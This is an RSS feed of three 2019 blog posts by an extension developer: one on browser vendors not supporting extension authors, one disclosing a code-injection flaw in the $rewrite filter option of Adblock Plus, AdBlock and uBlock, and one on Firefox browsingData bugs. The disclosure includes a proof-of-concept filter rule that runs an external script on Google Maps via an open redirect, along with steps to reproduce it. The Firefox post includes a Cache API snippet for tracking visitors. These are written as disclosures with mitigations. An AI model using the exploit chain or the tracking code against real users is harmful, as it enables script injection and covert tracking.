<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>Posts on Armin Sebastian</title>
		<link>https://armin.dev/blog/</link>
		<description>Recent content in Posts on Armin Sebastian</description>
		<generator>Hugo -- gohugo.io</generator>
		<language>en-us</language>
		<copyright>This work is licensed under the Creative Commons Attribution 4.0 International License.</copyright>
		<lastBuildDate>Thu, 01 Aug 2019 00:00:00 +0000</lastBuildDate>
		<atom:link href="https://armin.dev/blog/index.xml" rel="self" type="application/rss+xml" />
		
		<item>
			<title>Google and Mozilla are failing to support browser extension developers</title>
			<link>https://armin.dev/blog/2019/08/supporting-browser-extension-developers/</link>
			<pubDate>Thu, 01 Aug 2019 00:00:00 +0000</pubDate>
			
			<guid>https://armin.dev/blog/2019/08/supporting-browser-extension-developers/</guid>
			<description>It is a regular occurrence to hear about open source developers selling their browser extensions, only for their users to be exploited later on by the new owners.
Purchase offers for browser extensions usually range between $0.1 and $0.3 per user, depending on factors such as the geographical distribution of users, and monetization offers are also frequent.
Accepting such an offer may significantly improve one&amp;rsquo;s life, and it can be potentially life-changing.</description>
			<content type="html"><![CDATA[<p>It is a regular occurrence to hear about open source developers selling their browser extensions, only for their users to be exploited later on by the new owners.</p>
<p>Purchase offers for browser extensions usually range between $0.1 and $0.3 per user, depending on factors such as the geographical distribution of users, and monetization offers are also frequent.</p>
<p>Accepting such an offer may significantly improve one&rsquo;s life, and it can be potentially life-changing. It feels like a just reward for all those years of free labor, and it&rsquo;s uplifting for someone to value your work and propose to buy your project.</p>
<p>We are witnessing the failure of browser vendors to recognize the value of our labor and the important role it plays in a healthy browser ecosystem.</p>
<p>Mozilla has deprioritized the placement of the donation button during the redesign of Firefox Add-ons. The button was pushed below the fold, previously it was featured prominently near the install button. Requesting donations at the end of the install flow has also been deprecated.</p>
<p>The Chrome Web Store and the Microsoft Store do not offer features for supporting extension developers.</p>
<p>Browser vendors must recognize that developers who feel valued and are compensated by the communities they contribute to are less likely to give up on their projects and abandon their users.</p>
<p>Amazon offers a <a href="https://developer.amazon.com/en-US/alexa/alexa-skills-kit/rewards">monthly income</a> for the developers of popular Alexa Skills. Microsoft has recently introduced <a href="https://help.github.com/en/articles/becoming-a-sponsored-developer">GitHub Sponsors</a>, a feature for supporting the work of open source developers on GitHub.</p>
<p>These initiatives from Amazon and Microsoft are great examples for paving the way for a more sustainable open source ecosystem, and they translate well to browser extension stores.</p>
<p>Choosing between our users and a better life should not be a decision many open source developers are currently facing.</p>
<p>Mozilla, Google, and Microsoft are in a perfect position to begin addressing this issue by introducing features that enable users to seamlessly support their favourite extensions, and by exploring the possibility of sponsoring the development of popular browser extensions.</p>
<h2 id="offers">Offers</h2>
<p>These are samples from the monetization and purchase offers we regularily get for our browser extensions.</p>
<h3 id="would-you-like-to-earn-more-with-your-extensions">Would you like to earn more with your extensions?</h3>
<p>Hey Armin!</p>
<p>This is Daniel with ******</p>
<p>I just wondered you have more then 70k users and don&rsquo;t earn on their shopping. We provide access to a huge number of online stores.</p>
<p>Just choose and run. No more restrictions and rules! You take care about traffic – we guarantee that advertisers won&rsquo;t have any questions to your traffic.</p>
<p>Write me back, I&rsquo;ll give you all details.</p>
<p>Daniel ******<!-- raw HTML omitted -->
Business Development<!-- raw HTML omitted -->
****** GmbH</p>
<h3 id="image-search-monetization">Image Search Monetization</h3>
<p>Hi Armin,</p>
<p>I&rsquo;ve been using your extensions for a while now and you came to mind recently as we just launched a revenue share offering between Yahoo and Bing search.</p>
<p>Anytime a user searches you&rsquo;ll get a payout. It&rsquo;s a great opportunity to monetize and we&rsquo;re looking for great developers to sign up.</p>
<p>If you have time to discuss on Skype I&rsquo;d love to chat: ******</p>
<p>Andrew ******<!-- raw HTML omitted -->
****** Inc</p>
<h3 id="ff-addon">FF addon</h3>
<p>Hi,</p>
<p>I&rsquo;d like to buy your FF addon. Contact me please for discussion. Thanks</p>
<hr>
<p>This post and my open source <a href="https://github.com/dessant">projects</a>
are made possible thanks to the support of awesome backers.
If you&rsquo;d like to join them, please consider contributing with
<a href="https://go.vapps.dev/patreon?pr=blog&amp;src=site">Patreon</a>,
<a href="https://go.vapps.dev/paypal?pr=blog&amp;src=site">PayPal</a> or
<a href="https://go.vapps.dev/bitcoin?pr=blog&amp;src=site">Bitcoin</a>.</p>
]]></content>
		</item>
		
		<item>
			<title>Adblock Plus filter lists may execute arbitrary code in web pages</title>
			<link>https://armin.dev/blog/2019/04/adblock-plus-code-injection/</link>
			<pubDate>Mon, 15 Apr 2019 00:00:00 +0000</pubDate>
			
			<guid>https://armin.dev/blog/2019/04/adblock-plus-code-injection/</guid>
			<description>A new version of Adblock Plus was released on July 17, 2018. Version 3.2 introduced a new filter option for rewriting requests. A day later AdBlock followed suit and released support for the new filter option. uBlock, being owned by AdBlock, also implemented the feature.
Under certain conditions the $rewrite filter option enables the publishers of these extensions and the maintainers of filter lists to inject arbitrary code in web pages.</description>
			<content type="html"><![CDATA[<p>A new version of <a href="https://adblockplus.org">Adblock Plus</a> was <a href="https://adblockplus.org/releases/adblock-plus-32-for-chrome-firefox-and-opera-released">released</a> on July 17, 2018. Version 3.2 introduced a new filter option for rewriting requests. A day later <a href="https://getadblock.com">AdBlock</a> followed suit and released support for the new filter option. <a href="https://www.ublock.org">uBlock</a>, being owned by AdBlock, also implemented the feature.</p>
<p>Under certain conditions the <code>$rewrite</code> filter option enables the publishers of these extensions and the maintainers of filter lists to inject arbitrary code in web pages.</p>
<p>The affected extensions have more than 100 million active users, and Adblock Plus has several other forks controlled by third-party developers.</p>
<p>The feature is trivial to exploit in order to attack any sufficiently complex web service, including Google services, while attacks are difficult to detect and are deployable in all major browsers.</p>
<p>Considering the nature and implications of the uncovered vulnerabilities, and given that filter lists have been employed in the past for <a href="https://github.com/uBlockOrigin/uBlock-issues/issues/285">politically motivated attacks</a>, details of the exploit chain are publicly disclosed to ensure the fastest possible propagation of upcoming mitigations in the affected browser extensions and web services.</p>
<p>The following CVE identifiers have been assigned for the vulnerable extensions: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11593">CVE-2019-11593</a>, <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11594">CVE-2019-11594</a> and <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11595">CVE-2019-11595</a>.</p>
<p><a href="https://github.com/gorhill/uBlock">uBlock Origin</a> is not vulnerable to the described attack.</p>
<h2 id="attack">Attack</h2>
<p>The <code>$rewrite</code> filter option is used by some ad blockers to remove tracking data and block ads by redirecting requests. The option allows rewrites only within the same origin, and requests of <code>SCRIPT</code>, <code>SUBDOCUMENT</code>, <code>OBJECT</code> and <code>OBJECT_SUBREQUEST</code> types are not processed.</p>
<p>However, web services can be exploited with the help of this filter option when they use XMLHttpRequest or Fetch to download code snippets for execution, while allowing requests to arbitrary origins and hosting a server-side open redirect.</p>
<p>Extensions periodically update filters at intervals determined by filter list operators. Organizations and individuals may be targeted based on the IP addresses from which the updates are requested, delivering the malicious payload only to targets, while keeping the public filter list unchanged.</p>
<p>The existence of an attack may be difficult to prove, unless the device is monitored during the attack, because threat actors could set a short expiration time for the malicious filter list, which is then replaced with a benign one.</p>
<p>The following criteria must be met for a web service to be exploitable using this method:</p>
<ol>
<li>The page must load a JS string using XMLHttpRequest or Fetch and execute the returned code</li>
<li>The page must not restrict origins from which it can fetch using Content Security Policy directives, or it must not validate the final request URL before executing the downloaded code</li>
<li>The origin of the fetched code must have a server-side open redirect or it must host arbitrary user content</li>
</ol>
<p>Filter list operators may deliver a rule update such as this:</p>
<pre tabindex="0"><code>/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&amp;source=hp&amp;biw=&amp;bih=&amp;q=majestic-ramsons.herokuapp.com&amp;btnI=I%27m+Feeling+Lucky&amp;gbv=1
</code></pre><p>The above rule redirects the target request to Google&rsquo;s <em>I&rsquo;m Feeling Lucky</em> search service, which then redirects to a page with the payload: <code>alert(document.domain)</code>.</p>
<p>Steps for running arbitrary code on Google Maps:</p>
<ol>
<li>Install either Adblock Plus, AdBlock or uBlock in a new browser profile</li>
<li>Visit the options of the extension and add the <a href="https://majestic-ramsons.herokuapp.com/filter-list.txt">example filter list</a>, this step is meant to simulate a malicious update to a default filter list</li>
<li>Navigate to <a href="https://www.google.com/maps/?hl=en">Google Maps</a></li>
<li>An alert with &ldquo;<a href="https://www.google.com">www.google.com</a>&rdquo; should pop up after a couple of seconds</li>
</ol>
<p>Gmail and Google Images also meet the listed conditions to be exploitable.</p>
<p>Google has been notified about the exploit, but the report was closed as &ldquo;Intended Behavior&rdquo;, since they consider the potential security issue to be present solely in the mentioned browser extensions. This is an unfortunate conclusion, because the exploit is composed of a set of browser extension and web service vulnerabilities that have been chained together.</p>
<p>Please note that the vulnerability is not limited to Google services, other web services could be affected as well.</p>
<h2 id="mitigation">Mitigation</h2>
<p>The exploit can be mitigated in the affected web services by whitelisting known origins using the <code>connect-src</code> CSP header, or by eliminating server-side open redirects.</p>
<p>Ad blocking extensions should consider dropping support for the <code>$rewrite</code> filter option. It&rsquo;s always possible to abuse the feature to some degree, even if only images or style sheets are allowed to be redirected.</p>
<p>Users may also switch to <a href="https://github.com/gorhill/uBlock">uBlock Origin</a>, which does not support the vulnerable filter option. The feature has been rejected by the maintainer of the extension, citing concerns over <a href="https://github.com/uBlockOrigin/uBlock-issues/issues/46#issuecomment-391303700">security and performance</a>.</p>
<p>As of April 29, 2019 the discussed extensions have been patched, users should update to the latest versions. Vulnerable versions (inclusive): Adblock Plus between 3.2 and 3.5.1, AdBlock between 3.32.0 and 3.44.0, and uBlock between 0.9.5.11 and 0.9.5.14.</p>
<hr>
<h4 id="updates">Updates</h4>
<ul>
<li>
<p>April 17, 2019: it has been clarified who can exploit the vulnerability and how attacks may unfold. The safety of uBlock Origin has been further emphasized due to the confusion around the uBlock brand name.</p>
</li>
<li>
<p>May 1, 2019: the assigned CVE identifiers and the vulnerable extension versions have been listed.</p>
</li>
</ul>
<hr>
<p>This post and my open source <a href="https://github.com/dessant">projects</a>
are made possible thanks to the support of awesome backers.
If you&rsquo;d like to join them, please consider contributing with
<a href="https://go.vapps.dev/patreon?pr=blog&amp;src=site">Patreon</a>,
<a href="https://go.vapps.dev/paypal?pr=blog&amp;src=site">PayPal</a> or
<a href="https://go.vapps.dev/bitcoin?pr=blog&amp;src=site">Bitcoin</a>.</p>
]]></content>
		</item>
		
		<item>
			<title>Firefox extensions cannot securely clear browsing data</title>
			<link>https://armin.dev/blog/2019/03/firefox-extensions-browsing-data-security/</link>
			<pubDate>Sun, 10 Mar 2019 00:00:00 +0000</pubDate>
			
			<guid>https://armin.dev/blog/2019/03/firefox-extensions-browsing-data-security/</guid>
			<description>&lt;p&gt;While I was working on &lt;a href=&#34;https://github.com/dessant/clear-browsing-data&#34;&gt;Clear Browsing Data&lt;/a&gt;
I have learned about several browser bugs that may render some Firefox extensions
that focus on user privacy unreliable.&lt;/p&gt;</description>
			<content type="html"><![CDATA[<p>While I was working on <a href="https://github.com/dessant/clear-browsing-data">Clear Browsing Data</a>
I have learned about several browser bugs that may render some Firefox extensions
that focus on user privacy unreliable.</p>
<p>The <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browsingData">browsingData API</a>
in Firefox does not properly remove data, enabling sites to track users
that rely on extensions to clear browsing data.
Removing certain data types can also lead to side effects and data loss.</p>
<h2 id="data-saved-with-the-cache-api-is-not-cleared">Data saved with the Cache API is not cleared</h2>
<p>The browser stores downloaded assets internally when caching is enabled,
and the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Cache">Cache API</a>
is used by web pages and service workers for better control over caching.</p>
<p>Browser extensions may delete cached data with <code>browsingData.removeCache()</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">browser</span><span class="p">.</span><span class="nx">browsingData</span><span class="p">.</span><span class="nx">removeCache</span><span class="p">({})</span>
</span></span></code></pre></div><p>However, this function only removes assets from the browser&rsquo;s internal cache,
leaving data stored using the Cache API available for future retrieval.
This enables tracking users across browser sessions in Firefox.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nb">window</span><span class="p">.</span><span class="nx">caches</span><span class="p">.</span><span class="nx">keys</span><span class="p">().</span><span class="nx">then</span><span class="p">(</span><span class="nx">keys</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">user</span><span class="p">]</span> <span class="o">=</span> <span class="nx">keys</span><span class="p">.</span><span class="nx">filter</span><span class="p">(</span><span class="nx">key</span> <span class="p">=&gt;</span> <span class="nx">key</span><span class="p">.</span><span class="nx">startsWith</span><span class="p">(</span><span class="s1">&#39;user:&#39;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nx">user</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;returning visitor:&#39;</span><span class="p">,</span> <span class="nx">user</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="mi">5</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;saving new visitor&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nb">window</span><span class="p">.</span><span class="nx">caches</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s1">&#39;user:id&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div><p>The bug is currently tracked at
<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1526246">#1526246</a>.</p>
<h2 id="http-authentication-cache-is-not-cleared">HTTP authentication cache is not cleared</h2>
<p>One of the easiest ways to restrict access to web services is to use
<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication">HTTP Authentication</a>.
The browser shows an authentication dialog and caches the submitted
username and password to authorize future requests.
This cache is discarded when the browser is closed.</p>
<p>Certain extensions make it possible to forget cookies and authentication data
when users navigate away from a page or close a tab.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">browser</span><span class="p">.</span><span class="nx">browsingData</span><span class="p">.</span><span class="nx">removeCookies</span><span class="p">({</span><span class="nx">hostnames</span><span class="o">:</span> <span class="p">[</span><span class="s1">&#39;example.com&#39;</span><span class="p">]})</span>
</span></span></code></pre></div><p>There is no dedicated interface for clearing the HTTP authentication cache
in any of the major browsers, though Chrome respects user intent by clearing
this cache when cookies or passwords are deleted.</p>
<p>Firefox does not clear the HTTP authentication cache when
the <code>browsingData.removeCookies()</code> or <code>browsingData.removePasswords()</code>
function is called, allowing sites to track previously logged in
users until the browser is closed.</p>
<h2 id="downloads-from-previous-browser-sessions-are-not-removed">Downloads from previous browser sessions are not removed</h2>
<p>Extensions can delete the list of downloaded files by calling
the <code>browsingData.removeDownloads()</code> API.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">browser</span><span class="p">.</span><span class="nx">browsingData</span><span class="p">.</span><span class="nx">removeDownloads</span><span class="p">({})</span>
</span></span></code></pre></div><p>Records of files downloaded during past browser sessions are not removed,
leaving the data free to be viewed in the Library (<em>Shift+Ctrl+Y</em>).</p>
<p>The bug is currently tracked at <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1380445">#1380445</a>.</p>
<h2 id="clearing-certain-data-types-leads-to-data-loss">Clearing certain data types leads to data loss</h2>
<p>The goal of the browsingData API is to give granular control
over the data types users wish to clear. While the design of the API is sound,
its implementation in Firefox appears to be bolted over legacy services
that were not designed to allow for granular data management.</p>
<p>This results in side effects and data loss, such as:</p>
<ul>
<li>Clearing cookies also clears local storage</li>
<li>Deleting the history also removes downloads and service workers</li>
<li>Service workers and indexedDB are cleared entirely,
while the requested time interval is silently ignored</li>
</ul>
<p>There is a recent effort to rearchitect the internals
of the browsingData API in Firefox, you can give feedback and contribute at
<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1531276">#1531276</a>.</p>
<hr>
<p>This post and my open source <a href="https://github.com/dessant">projects</a>
are made possible thanks to the support of awesome backers.
If you&rsquo;d like to join them, please consider contributing with
<a href="https://go.vapps.dev/patreon?pr=blog&amp;src=site">Patreon</a>,
<a href="https://go.vapps.dev/paypal?pr=blog&amp;src=site">PayPal</a> or
<a href="https://go.vapps.dev/bitcoin?pr=blog&amp;src=site">Bitcoin</a>.</p>]]></content>
		</item>
		
	</channel>
</rss>
